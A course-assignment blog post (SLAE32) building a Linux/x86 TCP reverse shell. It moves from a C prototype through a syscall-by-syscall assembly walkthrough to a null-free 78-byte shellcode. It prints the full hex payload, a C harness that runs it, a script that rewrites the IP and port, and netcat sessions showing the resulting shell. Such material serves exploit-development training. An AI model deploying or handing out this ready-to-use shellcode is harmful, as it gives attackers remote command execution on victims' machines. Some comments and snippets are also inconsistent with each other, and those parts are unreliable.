SLAE32
SLAE32

This post introduces the second mission of my SLAE32 journey.

I spent a lot of time researching how to set up sockets or syscalls and taking notes which helped a lot to do this assignment.
I won’t be as much detailed this time but guess what?
The best part is that we can reuse most of the bind shellcode to create a reverse shellcode!

Introduction

The second assignment for the SLAE32 is similar to the previous post one, but in this case, we need to develop a reverse TCP shellcode.

The requirements are:

  • The reverse shell connects to the configured IP and port;
  • Executing a shell on successful connection;
  • The shellcode should be null-free;
  • With the ability for the IP and port to be easily configurable. In other words, the IP and connection port should be easy to set up for the user.

What is a Reverse Shell?

Instead of waiting for connections, a reverse shell connects back to a remote machine, waiting for a connection to the target machine.

The input and output are redirected to the reverse shell socket so the remote machine can interact with the target machine remotely.

Reverse Shell
Reverse Shell

A TCP reverse shell is a common technique to bypass firewall restrictions and unreachable access systems from public networks.

Basics First

Before putting our hands-on on developing the shellcode, we should be familiar with the fundamental principles of how to create a proper reverse shell. This way, we will better understand how the internals work and where to debug if an error occurs.

My approach was to analyze TCP reverse shell implementation in a higher-level language, such as C.

C Prototype

Beforehand, analyzing the following code gives an idea of the structure and what syscalls need to be used.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>


int main () {

	const char* ip = "127.0.0.1";	
	
    // Address struct
    struct sockaddr_in addr;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(9001);
	addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    // 1) Socket Syscall
	int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // 2) Connect Syscall
	connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

    // 3) Dup2 Syscall
	for (int i = 0; i < 3;i++) {

		dup2(sockfd, i);
	}

    // 4) Execve Syscall
	execve("/bin/sh", NULL, NULL);

	return 0;

}

Testing the code to see how it behaves.

Compiling with gcc

$ gcc reverse.c -o reverse

As this is a reverse shell, we must execute a listener for port 9001 with nc. Then we can run reverse to establish a connection back to our listener.

C Reverse Shell
C Reverse Shell

The C reverse shell works as expected. From this, we have a reference to build our shellcode.

Checking which syscalls are used

In total, there are four syscalls enumerated below:

*socket* - 359 - 0x167
connect - 362 - 0x16a --> new syscall
*dup2* - 63 - 0x3f
*execve* - 11 - 0xb

We already have the code from the previous assignment for the highlighted syscalls. The new addition is the connect syscall. The difference for the bind shell, instead of defining a local interface, we need to specify a remote IP and a port.

We can use the file /usr/include/x86_64-linux-gnu/asm/unistd_32 to check the definition of each syscall.

As connect is the only new syscall, I will only focus on reviewing that one. For the other, please check assignment 1.

Connect syscall (0x16a)

The C code defines it as the following:

  • Struct sockaddr_in
// Server Address struct
 int sockfd, acceptfd;
 int port = 9001; // Server Address struct
 struct sockaddr_in addr;
 addr.sin_family = AF_INET;
 addr.sin_port = htons(port);
 addr.sin_addr.s_addr = INADDR_ANY;  
  • Connect syscall
// Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(9001);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

// 1) Socket Syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// 2) Connect Syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

connect
Connect syscall

With the following arguments:

  • int sockfd - sockfd is the socket descriptor returned by socket() in eax.
  • const struct sockaddr *addr - pointer to struct sockaddr that contains information about your IP address and por
  • socklen_t addrlen - addrlen specifies the size, in bytes, of the address structure pointed to by addr. In other words, addrlen is set to sizeof(struct sockaddr).

The explanation of how to set up the value for these parameters is also the same as provided in assignment 1 (2 - Bind Syscall (0x169) section).

“Assembling” our shellcode

For this one, I didn’t put effort into reducing the shellcode size. The instructions here for the same syscalls do the same thing but use more space in memory.

xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq ; zeroes edx (trick to use less space)

After this, it’s time to set up the syscall arguments having the C code as a reference.

; socket syscall
mov ax, 0x167
mov bl, 0x02
mov cl, 0x01
; edx is already zero
int 0x80	; interruption syscall or interrupt vector. Returns pointer to the socket in eax

EAX contains 0x167, which is sys_socket as seen in /usr/include/i386-linux-gnu/asm/unistd_32.h, then EBX is set to 0x2 (PF_INET).

Next, the value 0x01 is moved into ECX, which is the value of SOCK_STREAM. EDX is already zero because of the previous cdq instruction.

I just left to use the interruption syscall int 0x80 to create the socket.

If executed successfully, we have our socket. The next step is to set up the connect syscall.

Beforehand, let’s prepare the next syscall, which is connect

; accept  syscall
mov ebx, eax 	; moves socket address to ebx (first arg of bind syscall - sockfd)
xor eax, eax

Then , the sockaddr_in struct is created as follows:

; sockaddr struct
push edx	        ; pushing our 8 bytes of zero
push 0x0201017f 	; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923    ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp

The struct is finally defined. The trickiest part to understand, I must say.

EDX is still zero so pushing zeroes will determine the end of the struct.

Next, we push 0x0201017f which is the remote IP address (127.1.1.2).

Why 127.1.1.2 and 127.0.0.1?

The address 127.0.0.1 contains null bytes (0x0100007f) which would break our shellcode. We need to go with an alternative way.

By using 127.1.1.2, we avoid those null bytes (0x0201017f). This works because the localhost address has a netmask of 255.0.0.0. The only limitation is the first 8 bytes, which is why the address 127.0.0.1 behaves the same way.

The next step is to load the stack with the port number. As intel works with the little-endian format, we push 0x2923, which is the value 9001. Lastly, pushing 0x2 refers to AF_INET.

Now, it is just a matter of putting 0x10 (16 bytes) to EDX, which represents the size of sockaddr_in struct as mentioned in the previous section, and executing the bind syscall with 0x169 in EAX.

mov dl, 0x10    ; sizeof struct
mov ax, 0x16a
int 0x80

It ends up like this

; connect syscall

mov ebx, eax 		; moves socket address to ebx (first arg - sockfd)
xor eax, eax

; sockaddr struct
push edx			; pushing our 8 bytes of zero
push 0x0201017f 	; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
push word 0x2923    ;little endian -> 9001 = 0x2329
push word 0x2
mov ecx, esp

mov dl, 0x10 		; sizeof struct
mov ax, 0x16a
int 0x80

For dup2 we use a loop to use fewer instructions to save space while constructing a fully interactive bind shell.

    ; dup2  syscall
	mov edx, eax ; edx is already zero
	mov cl, 0x03
dup2:
	;xor eax, eax
	;mov al, 0x3f
	push byte 0x3f
	pop eax
	mov ebx, edx
	dec cl
	int 0x80
	jnz dup2	; decrements ecx and jumps until ecx=0

We reach the final stage, using execve syscall to execute /bin/sh and spawn a shell when a connection is made to the bind port. If all works as expected, a system shell will be provided to the incoming connection, which can interact with the target machine.

; execve
xor eax, eax
cdq
push eax
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp
mov al, 0xb
int 0x80	

To help revert the string used with execve I develop a script called The x86 "Little-Hexdian" String Convert, which checks if a string passed as an argument is aligned and converts it to hexadecimal in little-endian format.

Available in https://github.com/0xnibbles/slae_x86/blob/main/revHex32.py

Final Assembly Code

; Student ID   : PA-31319
; Student Name : Eduardo Silva
; Assignment 2 : TCP Reverse Shell (Linux/x86) Assembly
; File Name    : reverse_shell.nasm

global	_start

section	.text

_start:
	
	global	_start

section	.text

_start:

	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	cdq ; zeroes edx
	
	; socket syscall

	mov ax, 0x167
	mov bl, 0x02
	mov cl, 0x01
	; edx is already zero
	int 0x80	; interruption syscall or interrupt vector. Returns pointer to the socket in eax

	; connect syscall

	mov ebx, eax 	; moves socket address to ebx (first arg - sockfd)
	xor eax, eax
    ; sockaddr struct
	push edx	; ; pushing our 8 bytes of zero
	push 0x0201017f 	; 127.1.1.2 --> 0x7F010102, little-endian = 0x0201017F
	push word 0x2923    ;little endian -> 9001 = 0x2329
	push word 0x2
	mov ecx, esp
	
	mov dl, 0x10 ; sizeof struct
	mov ax, 0x16a
	int 0x80

	; dup2
    xor ecx, ecx
	mov cl, 0x03
dup2:
	xor eax, eax
	mov al, 0x3f
	;mov ebx, edi
	dec cl
	int 0x80
	jnz dup2	; decrements ecx and jumps until ecx=0

	; execve

	xor eax, eax
	cdq
	push eax
	push 0x68732f2f ; "hs//"
	push 0x6e69622f ; "nib/"
	mov ebx, esp
	mov al, 0xb
	int 0x80			

Compiling and Testing the Shellcode

Checking assembler.sh output

╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main› 
╰─$ ls
bind  bind.c  bind_shell  bind_shell.asm  bind_shell.nasm  bind_shell.o  biShell.sh  original_bind_shell.nasm  syscalls
╭─edu@debian ~/Desktop/slae_x86/assignments/1-Shell_Bind_TCP ‹main› 
╰─$ ../../assembler.sh bind_shell.nasm 

[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done


Shellcode size: 78

"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x02\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

--------------------
[*] Hack the World!
--------------------

No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program.

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x02\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

main() {

	printf("Shellcode Length: %d\n", strlen(code));
	int (*ret)() = (int(*)())code;

	ret();

}

Compiling with gcc

╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o rev_shell shellcode.c     
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~

Let’s use nc to create a listener on port 9001 and then execute rev_shell to connect it.

╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●› 
╰─$ ./rev_shell 
Shellcode Length: 78

────────────────────────────────────────────────────

╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●› 
╰─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [127.1.1.2] from (UNKNOWN) [127.0.0.1] 35190
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)

rev_shell executes with no errors and it connects back to our listener!

What if we want to change the IP address and the port?

One of the requirements for this assignment is the ability to change easily the IP address and port used in the shellcode. For that, we can change the bytes in the shellcode related to the port and change them for the specific port we want the bind shell waits for a connection.

The following shell script is named revShell.sh replaces the hardcoded 9001 with the port provided by the user as an argument. It automatically converts the port into the hexadecimal little-endian format.

Available at https://github.com/0xnibbles/slae_x86/blob/main/assignments/2-Shell_Reverse_TCP/revShell.sh

It accepts two arguments - the desired IP address and port.

╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●› 
╰─$ ./revShell.sh 
Usage: ./revShell.sh <ip address> <port (decimal)>
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●› 
╰─$ ./revShell.sh 127.1.1.3 9999

[*] Doing magic with your IP address and port number
[*] Done

Enjoy this Reverse TCP Shellcode with the IP 127.1.1.3 and port 9999

"\x31\xc0\x31\xdb\x31\xc9\x99\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x52\x68\x7f\x01\x01\x03\x66\x68\x27\x0F\x66\x6a\x02\x89\xe1\xb2\x10\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"


--------------------
[*] Hack the World!
--------------------
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●› 
╰─$ gcc -fno-stack-protector -m32 -z execstack -o rev_shell9999 shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
 main() {
 ^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/2-Shell_Reverse_TCP ‹main●› 
╰─$ ./rev_shell9999 
Shellcode Length: 78

────────────────────────────────────────────────────
╭─edu@debian ~/Documents/blogGithub/dev-blog/0xnibbles ‹master●› 
╰─$ nc -lvnp 9999                                                          
listening on [any] 9999 ...
connect to [127.1.1.3] from (UNKNOWN) [127.0.0.1] 33880
id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
ls
revShell.sh
rev_shell
rev_shell9999
reverse
reverse.c
reverse_shell
reverse_shell.nasm
reverse_shell.o
shellcode.c
syscalls
testIP.sh

We get a shell!!!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-31319

All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86